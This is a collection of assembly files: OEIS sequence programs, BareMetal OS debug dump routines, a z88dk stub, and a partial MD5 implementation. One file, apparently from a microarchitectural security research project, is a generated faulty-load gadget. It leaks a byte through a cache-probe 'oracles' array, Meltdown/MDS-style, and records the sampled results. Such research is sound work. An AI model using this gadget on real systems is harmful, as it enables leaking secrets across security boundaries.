TheStack | 8f79e65b9f65dde70f51a4514fbcefac7354a627 | Assemblycode:Assembly | {"size": 369, "ext": "asm", "max_stars_repo_path": "oeis/171/A171881.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/171/A171881.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/171/A171881.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 24.6, "max_line_length": 162, "alphanum_fraction": 0.674796748} | ; A171881: Square array, read by antidiagonals, where T(n,k)=n^^k for n>=0, k>=1.
; Submitted by Jon Maiga
; 0,1,1,2,1,1,3,4,1,1,4,27,16,1,1,5,256,19683,256,1,1,6,3125,4294967296,7625597484987,65536,1,1,7,46656,298023223876953125,340282366920938463463374607431768211456
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
mov $1,$2
pow $2,$0
pow $1,$2
mov $0,$1
|
||||
TheStack | 7b3bd571a7b1a850eb92af45e93468d414aa829b | Assemblycode:Assembly | {"size": 4468, "ext": "asm", "max_stars_repo_path": "src/x86-64/syscalls/debug.asm", "max_stars_repo_name": "ohnx/ge", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/x86-64/syscalls/debug.asm", "max_issues_repo_name": "ohnx/ge", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/x86-64/syscalls/debug.asm", "max_forks_repo_name": "ohnx/ge", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 24.0215053763, "max_line_length": 111, "alphanum_fraction": 0.6219785139} | ; =============================================================================
; BareMetal -- a 64-bit OS written in Assembly for x86-64 systems
; Copyright (C) 2008-2015 Return Infinity -- see LICENSE.TXT
;
; Debug functions
; =============================================================================
; -----------------------------------------------------------------------------
; os_debug_dump_reg -- Dump the values on the registers to the screen (For debug purposes)
; IN: Nothing
; OUT: Nothing, all registers preserved
os_debug_dump_reg:
pushfq ; Push the registers used by this function
push rsi
push rbx
push rax
pushfq ; Push the flags to the stack
push r15 ; Push all of the registers to the stack
push r14
push r13
push r12
push r11
push r10
push r9
push r8
push rsp
push rbp
push rdi
push rsi
push rdx
push rcx
push rbx
push rax
mov byte [os_debug_dump_reg_stage], 0x00 ; Reset the stage to 0 since we are starting
os_debug_dump_reg_next:
mov rsi, os_debug_dump_reg_string00
xor rax, rax
xor rbx, rbx
mov al, [os_debug_dump_reg_stage]
mov bl, 5 ; Each string is 5 bytes
mul bl ; AX = BL x AL
add rsi, rax ; Add the offset to get to the correct string
call os_output ; Print the register name
pop rax ; Pop the register from the stack
call os_debug_dump_rax ; Print the hex string value of RAX
inc byte [os_debug_dump_reg_stage]
cmp byte [os_debug_dump_reg_stage], 0x11 ; Check to see if all 16 registers as well as the flags are displayed
jne os_debug_dump_reg_next
os_debug_dump_reg_done:
call os_print_newline
pop rax
pop rbx
pop rsi
popfq
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_debug_dump_mem -- Dump some memory content to the screen
; IN: RSI = Start of memory address to dump
; RCX = Number of bytes to dump
; OUT: Nothing, all registers preserved
os_debug_dump_mem:
push rsi
push rcx ; Counter
push rdx ; Total number of bytes to display
push rax
cmp rcx, 0 ; Bail out if no bytes were requested
je os_debug_dump_mem_done
mov rax, rsi
and rax, 0x0F ; Isolate the low 4 bytes of RSI
add rcx, rax ; Add to round up the number of bytes needed
mov rdx, rcx ; Save the total number of bytes to display
add rdx, 15 ; Make sure we print out another line if needed
and cl, 0xF0
and dl, 0xF0
shr rsi, 4 ; Round the starting memory address
shl rsi, 4
os_debug_dump_mem_print_address:
mov rax, rsi
call os_debug_dump_rax
push rsi
mov rsi, divider4
call os_output
pop rsi
os_debug_dump_mem_print_contents:
lodsq
bswap rax ; Switch Endianness
call os_debug_dump_rax
push rsi
mov rsi, divider2
call os_output
pop rsi
lodsq
bswap rax ; Switch Endianness
call os_debug_dump_rax
push rsi
mov rsi, divider4
call os_output
pop rsi
os_debug_dump_mem_print_ascii:
sub rsi, 0x10
xor rcx, rcx ; Clear the counter
os_debug_dump_mem_print_ascii_next:
lodsb
call os_output_char
add rcx, 1
cmp rcx, 16
jne os_debug_dump_mem_print_ascii_next
sub rdx, 16
cmp rdx, 0
je os_debug_dump_mem_done
call os_print_newline
jmp os_debug_dump_mem_print_address
os_debug_dump_mem_done:
pop rax
pop rcx
pop rdx
pop rsi
ret
divider4: db ' ', 0
divider2: db ' ', 0
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; os_debug_dump_(rax|eax|ax|al) -- Dump content of RAX, EAX, AX, or AL to the screen in hex format
; IN: RAX = content to dump
; OUT: Nothing, all registers preserved
os_debug_dump_rax:
rol rax, 8
call os_debug_dump_al
rol rax, 8
call os_debug_dump_al
rol rax, 8
call os_debug_dump_al
rol rax, 8
call os_debug_dump_al
rol rax, 32
os_debug_dump_eax:
rol eax, 8
call os_debug_dump_al
rol eax, 8
call os_debug_dump_al
rol eax, 16
os_debug_dump_ax:
rol ax, 8
call os_debug_dump_al
rol ax, 8
os_debug_dump_al:
push rbx
push rax
mov rbx, hextable
push rax ; Save RAX since we work in 2 parts
shr al, 4 ; Shift high 4 bits into low 4 bits
xlatb
call os_output_char
pop rax
and al, 0x0f ; Clear the high 4 bits
xlatb
call os_output_char
pop rax
pop rbx
ret
; -----------------------------------------------------------------------------
; =============================================================================
; EOF
|
||||
TheStack | 65d5d521f2c49db6bfe0666c7dd1c74a7df418b1 | Assemblycode:Assembly | {"size": 283, "ext": "asm", "max_stars_repo_path": "programs/oeis/171/A171626.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/171/A171626.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/171/A171626.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 20.2142857143, "max_line_length": 101, "alphanum_fraction": 0.5795053004} | ; A171626: Ceiling(n-th noncomposite/n).
; 1,1,1,2,2,2,2,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
add $0,1
mov $3,$0
trn $0,2
seq $0,6005 ; The odd prime numbers together with 1.
sub $0,2
mov $2,$3
div $2,$3
add $0,$2
div $0,$3
add $0,1
|
||||
TheStack | 2209928c0c6d76ee587f7a1a9decf1be33381871 | Assemblycode:Assembly | {"size": 112, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fmax.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fmax.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fmax.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 11.2, "max_line_length": 29, "alphanum_fraction": 0.8482142857} |
SECTION code_clib
SECTION code_fp_math48
PUBLIC _fmax
EXTERN cm48_sdccix_fmax
defc _fmax = cm48_sdccix_fmax
|
||||
TheStack | 184b064f37c8b64a8bbb949093b49699f4b4ae0d | Assemblycode:Assembly | {"size": 4805, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NC/_ht_st_zr_un_/i9-9900K_12_0xca_notsx.log_21829_987.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NC/_ht_st_zr_un_/i9-9900K_12_0xca_notsx.log_21829_987.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NC/_ht_st_zr_un_/i9-9900K_12_0xca_notsx.log_21829_987.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 47.5742574257, "max_line_length": 2999, "alphanum_fraction": 0.6563995838} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %rsi
lea addresses_A_ht+0x4390, %rsi
nop
xor %r14, %r14
mov (%rsi), %r11
nop
nop
inc %r11
pop %rsi
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r8
push %r9
push %rbp
// Store
lea addresses_A+0x7790, %r8
nop
xor %r13, %r13
mov $0x5152535455565758, %r11
movq %r11, %xmm5
vmovups %ymm5, (%r8)
nop
nop
xor $54937, %r10
// Store
lea addresses_WT+0x19ffe, %r13
nop
nop
nop
nop
xor %r14, %r14
mov $0x5152535455565758, %r11
movq %r11, %xmm1
vmovups %ymm1, (%r13)
add %r9, %r9
// Store
lea addresses_normal+0x19390, %r9
nop
nop
nop
nop
nop
inc %rbp
movw $0x5152, (%r9)
nop
nop
nop
nop
xor $54611, %r8
// Faulty Load
mov $0x7d32050000000390, %r8
nop
nop
nop
nop
dec %r9
mov (%r8), %r10
lea oracles, %r8
and $0xff, %r10
shlq $12, %r10
mov (%r8,%r10,1), %r10
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10}}
{'62': 1, '60': 687, '52': 17454, '00': 3687}
62 52 52 00 52 52 52 52 52 52 60 00 52 52 52 52 52 52 52 00 52 52 52 52 00 52 52 52 52 52 60 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 00 00 52 52 52 52 00 52 00 52 52 52 00 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 00 52 00 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 60 52 52 52 52 52 60 00 52 00 52 52 52 52 52 52 52 52 00 52 52 52 52 60 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 00 52 52 52 52 52 52 60 52 52 00 52 52 52 52 52 52 52 00 52 00 52 00 52 00 52 00 60 00 52 60 52 52 52 52 52 52 52 52 52 52 52 00 52 60 00 52 00 52 00 52 52 52 52 52 00 60 00 52 00 52 52 52 52 52 52 52 00 52 52 00 52 52 52 00 52 52 00 52 52 00 00 52 52 52 00 00 60 00 00 00 60 00 52 00 52 00 52 52 60 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 60 52 52 52 52 52 60 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 00 52 60 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 60 60 52 00 00 60 52 52 52 52 52 52 52 52 52 52 52 52 52 60 52 52 52 52 00 52 52 52 00 52 52 52 00 52 52 60 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 00 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 60 52 52 00 60 52 52 52 52 52 52 52 52 00 52 00 60 52 00 52 60 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 00 52 52 00 52 00 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 00 52 52 52 00 52 52 00 52 60 52 52 00 52 60 52 00 52 00 52 52 52 60 52 60 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 00 52 00 52 52 52 52 52 52 60 52 52 00 52 52 00 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 52 52 52 00 52 52 52 00 52 52 60 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 00 52 52 52 52 00 52 52 52 52 52 00 52 00 52 52 00 52 52 00 52 52 52 00 52 00 52 52 52 52 52 00 52 52 00 52 52 00 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 52 00 52 00 52 00 52 52 52 52 00 52 52 52 52 00 52 00 52 52 52 52 52 00 00 00 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 00 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 60 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 60 52 00 52 52 52 52 52 52 52 52 52 52 52 52 60 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 00 52 52 00 52 60 00 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 00 52 00 00 52 00 52 52 52 52 52 60 52 52 00 52 52 52 60 52 52 52 52 52 52 52 52 52 60 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 60 52 52 52 52 52 52 52
*/
|
||||
TheStack | d448dc68eb828d170074f7342ec5063b726a3817 | Assemblycode:Assembly | {"size": 520, "ext": "asm", "max_stars_repo_path": "programs/oeis/337/A337928.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/337/A337928.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/337/A337928.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 34.6666666667, "max_line_length": 224, "alphanum_fraction": 0.725} | ; A337928: Numbers w such that (F(2n+1)^2, -F(2n)^2, -w) are primitive solutions of the Diophantine equation 2*x^3 + 2*y^3 + z^3 = 1, where F(n) is the n-th Fibonacci number (A000045).
; 1,5,31,209,1429,9791,67105,459941,3152479,21607409,148099381,1015088255,6957518401,47687540549,326855265439,2240299317521,15355239957205,105246380382911,721369422723169,4944339578679269,33889007628031711,232278713817542705
lpb $0
sub $0,1
add $1,1
add $1,$2
add $2,$1
add $1,$2
add $2,$1
lpe
mul $1,2
add $1,1
mov $0,$1
|
||||
TheStack | fdfa697da845a1ee3c9fb5b6c03cddbcac1503e3 | Assemblycode:Assembly | {"size": 385, "ext": "asm", "max_stars_repo_path": "oeis/338/A338467.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/338/A338467.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/338/A338467.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 32.0833333333, "max_line_length": 203, "alphanum_fraction": 0.612987013} | ; A338467: a(n+1) = prime(n) + 2*n - a(n). a(1) = 1.
; Submitted by Jon Maiga
; 1,3,4,7,8,13,12,19,16,25,24,29,32,35,36,41,44,49,48,57,54,61,62,67,70,77,76,81,82,85,88,101,94,109,98,121,102,129,110,135,118,143,122,155,126,161,130,175,144,181,148,187,156,191,168,199,176,207,180,215
mov $2,$0
mov $3,$0
mod $3,2
mov $0,$3
add $0,$2
seq $2,36467 ; a(n) + a(n-1) = n-th prime.
add $0,$2
|
||||
TheStack | 5f5e6893d85d5e9ca2ed0d320446d0ac946603ff | Assemblycode:Assembly | {"size": 719, "ext": "asm", "max_stars_repo_path": "oeis/088/A088854.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/088/A088854.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/088/A088854.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 71.9, "max_line_length": 497, "alphanum_fraction": 0.80945758} | ; A088854: a(n) = (2^(n-1))*(Integral_{x=0..1} (1+x^2)^n dx)/(Integral_{x=0..1} (1-x^2)^n dx).
; Submitted by Christian Krause
; 2,7,24,83,292,1046,3808,14051,52412,197202,747120,2846318,10892936,41844172,161247104,623034403,2412871916,9363311482,36399254864,141721774138,552572485496,2157194452852,8431104269504,32986010380558,129177323979992,506313914434036,1986097541692128,7796540383764476,30626714017299472,120385718817029656,473485614261689856,1863283298994674979,7336280814997482828,28899082367615254026,113891303643561930768,449038877425542251138,1771143037018897607192,6988596398384425891684,27585700231368367791168
add $0,1
seq $0,82590 ; Expansion of 1/((1 - 2*x)*sqrt(1 - 4*x)).
add $0,2
div $0,2
sub $0,1
|
||||
TheStack | 2d34bb3dfd0970c5f88118c1bec33d61e5115051 | Assemblycode:Assembly | {"size": 7561, "ext": "asm", "max_stars_repo_path": "Md5Assembly/Md5Assembly/Md5WithRol.asm", "max_stars_repo_name": "bretcope/blog-md5", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Md5Assembly/Md5Assembly/Md5WithRol.asm", "max_issues_repo_name": "bretcope/blog-md5", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Md5Assembly/Md5Assembly/Md5WithRol.asm", "max_forks_repo_name": "bretcope/blog-md5", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 27.695970696, "max_line_length": 82, "alphanum_fraction": 0.5710884804} | extern UnsafeMemoryCopy: PROC
Suffix macro rAd, rBd, sine, dataOffset, shift
add rAd,r10d ; a += f
mov r10d,dword ptr [rax+dataOffset] ; m = blockPtr[index]
lea rAd,[rAd+r10d+sine] ; value = a + f + m + sine
rol rAd,shift ; value = LeftRotate(value, shift)
add rAd,rBd ; a = value + b
endm
; 0-15
FF macro rAd, rBd, rCd, rDd, sine, dataOffset, shift
mov r10d,rCd ; f = c
xor r10d,rDd ; f = (c ^ d)
and r10d,rBd ; f = (c ^ d) & b
xor r10d,rDd ; f = (c ^ d) & b & d
Suffix rAd, rBd, sine, dataOffset, shift
endm
; 16-31
GG macro rAd, rBd, rCd, rDd, sine, dataOffset, shift
mov r10d,rBd ; f = b
xor r10d,rCd ; f = (b ^ c)
and r10d,rDd ; f = (b ^ c) & d
xor r10d,rCd ; f = (b ^ c) & d ^ c
Suffix rAd, rBd, sine, dataOffset, shift
endm
; 32-47
HH macro rAd, rBd, rCd, rDd, sine, dataOffset, shift
mov r10d,rBd ; f = b
xor r10d,rCd ; f = b ^ c
xor r10d,rDd ; f = b ^ c ^ d
Suffix rAd, rBd, sine, dataOffset, shift
endm
; 48-63
II macro rAd, rBd, rCd, rDd, sine, dataOffset, shift
mov r10d,rDd ; f = d
not r10d ; f = ~d
or r10d,rBd ; f = (b | ~d)
xor r10d,rCd ; f = (b | ~d) ^ c
Suffix rAd, rBd, sine, dataOffset, shift
endm
.code
Md5WithRol PROC
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbp
push rbx
sub rsp,78h
mov rsi,rcx
lea rdi,[rsp+38h]
mov ecx,10h
xor eax,eax
rep stos dword ptr [rdi]
mov rcx,rsi
mov rbx,rcx
mov edi,edx
mov rsi,r8
lea eax,[rdi+8]
cdq
and edx,3Fh
add eax,edx
sar eax,6
lea ebp,[rax+1]
mov dword ptr [rsi],67452301h
mov dword ptr [rsi+4],0EFCDAB89h
mov dword ptr [rsi+8],98BADCFEh
mov dword ptr [rsi+0Ch],10325476h
xor ecx,ecx
lea rdx,[rsp+38h]
vxorpd xmm0,xmm0,xmm0
vmovdqu xmmword ptr [rdx],xmm0
vmovdqu xmmword ptr [rdx+10h],xmm0
vmovdqu xmmword ptr [rdx+20h],xmm0
vmovdqu xmmword ptr [rdx+30h],xmm0
xor r14d,r14d
test ebp,ebp
jle LoopExit
lea r15,[rsi+4]
lea r12,[rsi+8]
lea r13,[rsi+0Ch]
LoopStart:
mov eax,r14d
shl eax,6
lea ecx,[rax+40h]
cmp ecx,edi
jle AssignInputToBlock
cmp eax,edi
jl AddRemainingBytesToPadding
cmp eax,edi
jne ClearPaddingBlock
mov byte ptr [rsp+38h],80h
jmp SetOriginalLength
ClearPaddingBlock:
xor ecx,ecx
lea rax,[rsp+38h]
vxorpd xmm0,xmm0,xmm0
vmovdqu xmmword ptr [rax],xmm0
vmovdqu xmmword ptr [rax+10h],xmm0
vmovdqu xmmword ptr [rax+20h],xmm0
vmovdqu xmmword ptr [rax+30h],xmm0
SetOriginalLength:
movsxd rcx,edi
shl rcx,3
mov qword ptr [rsp+70h],rcx
jmp AssignPaddingToBlock
AddRemainingBytesToPadding:
sub ecx,edi
neg ecx
lea r9d,[rcx+40h]
lea r10,[rsp+38h]
movsxd rcx,eax
add rcx,rbx
mov qword ptr [rsp+28h],r10
mov rdx,r10
mov dword ptr [rsp+34h],r9d
mov r8d,r9d
call UnsafeMemoryCopy
mov eax,dword ptr [rsp+34h]
movsxd rdx,eax
mov rcx,qword ptr [rsp+28h]
mov byte ptr [rcx+rdx],80h
inc eax
neg eax
add eax,40h
cmp eax,8
jl AssignPaddingToBlock
movsxd rax,edi
shl rax,3
mov qword ptr [rsp+70h],rax
AssignPaddingToBlock:
lea rax,[rsp+38h]
jmp StartInnerLoop
AssignInputToBlock:
movsxd rax,eax
add rax,rbx
StartInnerLoop:
mov edx,dword ptr [rsi]
mov ecx,dword ptr [rsi+4]
mov r8d,dword ptr [rsi+8]
mov r9d,dword ptr [rsi+0Ch]
FF edx,ecx,r8d,r9d,0d76aa478h,0,7 ; 0
FF r9d,edx,ecx,r8d,0e8c7b756h,4,12 ; 1
FF r8d,r9d,edx,ecx,0242070dbh,8,17 ; 2
FF ecx,r8d,r9d,edx,0c1bdceeeh,12,22 ; 3
FF edx,ecx,r8d,r9d,0f57c0fafh,16,7 ; 4
FF r9d,edx,ecx,r8d,04787c62ah,20,12 ; 5
FF r8d,r9d,edx,ecx,0a8304613h,24,17 ; 6
FF ecx,r8d,r9d,edx,0fd469501h,28,22 ; 7
FF edx,ecx,r8d,r9d,0698098d8h,32,7 ; 8
FF r9d,edx,ecx,r8d,08b44f7afh,36,12 ; 9
FF r8d,r9d,edx,ecx,0ffff5bb1h,40,17 ; 10
FF ecx,r8d,r9d,edx,0895cd7beh,44,22 ; 11
FF edx,ecx,r8d,r9d,06b901122h,48,7 ; 12
FF r9d,edx,ecx,r8d,0fd987193h,52,12 ; 13
FF r8d,r9d,edx,ecx,0a679438eh,56,17 ; 14
FF ecx,r8d,r9d,edx,049b40821h,60,22 ; 15
GG edx,ecx,r8d,r9d,0f61e2562h,4,5 ; 16
GG r9d,edx,ecx,r8d,0c040b340h,24,9 ; 17
GG r8d,r9d,edx,ecx,0265e5a51h,44,14 ; 18
GG ecx,r8d,r9d,edx,0e9b6c7aah,0,20 ; 19
GG edx,ecx,r8d,r9d,0d62f105dh,20,5 ; 20
GG r9d,edx,ecx,r8d,02441453h,40,9 ; 21
GG r8d,r9d,edx,ecx,0d8a1e681h,60,14 ; 22
GG ecx,r8d,r9d,edx,0e7d3fbc8h,16,20 ; 23
GG edx,ecx,r8d,r9d,021e1cde6h,36,5 ; 24
GG r9d,edx,ecx,r8d,0c33707d6h,56,9 ; 25
GG r8d,r9d,edx,ecx,0f4d50d87h,12,14 ; 26
GG ecx,r8d,r9d,edx,0455a14edh,32,20 ; 27
GG edx,ecx,r8d,r9d,0a9e3e905h,52,5 ; 28
GG r9d,edx,ecx,r8d,0fcefa3f8h,8,9 ; 29
GG r8d,r9d,edx,ecx,0676f02d9h,28,14 ; 30
GG ecx,r8d,r9d,edx,08d2a4c8ah,48,20 ; 31
HH edx,ecx,r8d,r9d,0fffa3942h,20,4 ; 32
HH r9d,edx,ecx,r8d,08771f681h,32,11 ; 33
HH r8d,r9d,edx,ecx,06d9d6122h,44,16 ; 34
HH ecx,r8d,r9d,edx,0fde5380ch,56,23 ; 35
HH edx,ecx,r8d,r9d,0a4beea44h,4,4 ; 36
HH r9d,edx,ecx,r8d,04bdecfa9h,16,11 ; 37
HH r8d,r9d,edx,ecx,0f6bb4b60h,28,16 ; 38
HH ecx,r8d,r9d,edx,0bebfbc70h,40,23 ; 39
HH edx,ecx,r8d,r9d,0289b7ec6h,52,4 ; 40
HH r9d,edx,ecx,r8d,0eaa127fah,0,11 ; 41
HH r8d,r9d,edx,ecx,0d4ef3085h,12,16 ; 42
HH ecx,r8d,r9d,edx,04881d05h,24,23 ; 43
HH edx,ecx,r8d,r9d,0d9d4d039h,36,4 ; 44
HH r9d,edx,ecx,r8d,0e6db99e5h,48,11 ; 45
HH r8d,r9d,edx,ecx,01fa27cf8h,60,16 ; 46
HH ecx,r8d,r9d,edx,0c4ac5665h,8,23 ; 47
II edx,ecx,r8d,r9d,0f4292244h,0,6 ; 48
II r9d,edx,ecx,r8d,0432aff97h,28,10 ; 49
II r8d,r9d,edx,ecx,0ab9423a7h,56,15 ; 50
II ecx,r8d,r9d,edx,0fc93a039h,20,21 ; 51
II edx,ecx,r8d,r9d,0655b59c3h,48,6 ; 52
II r9d,edx,ecx,r8d,08f0ccc92h,12,10 ; 53
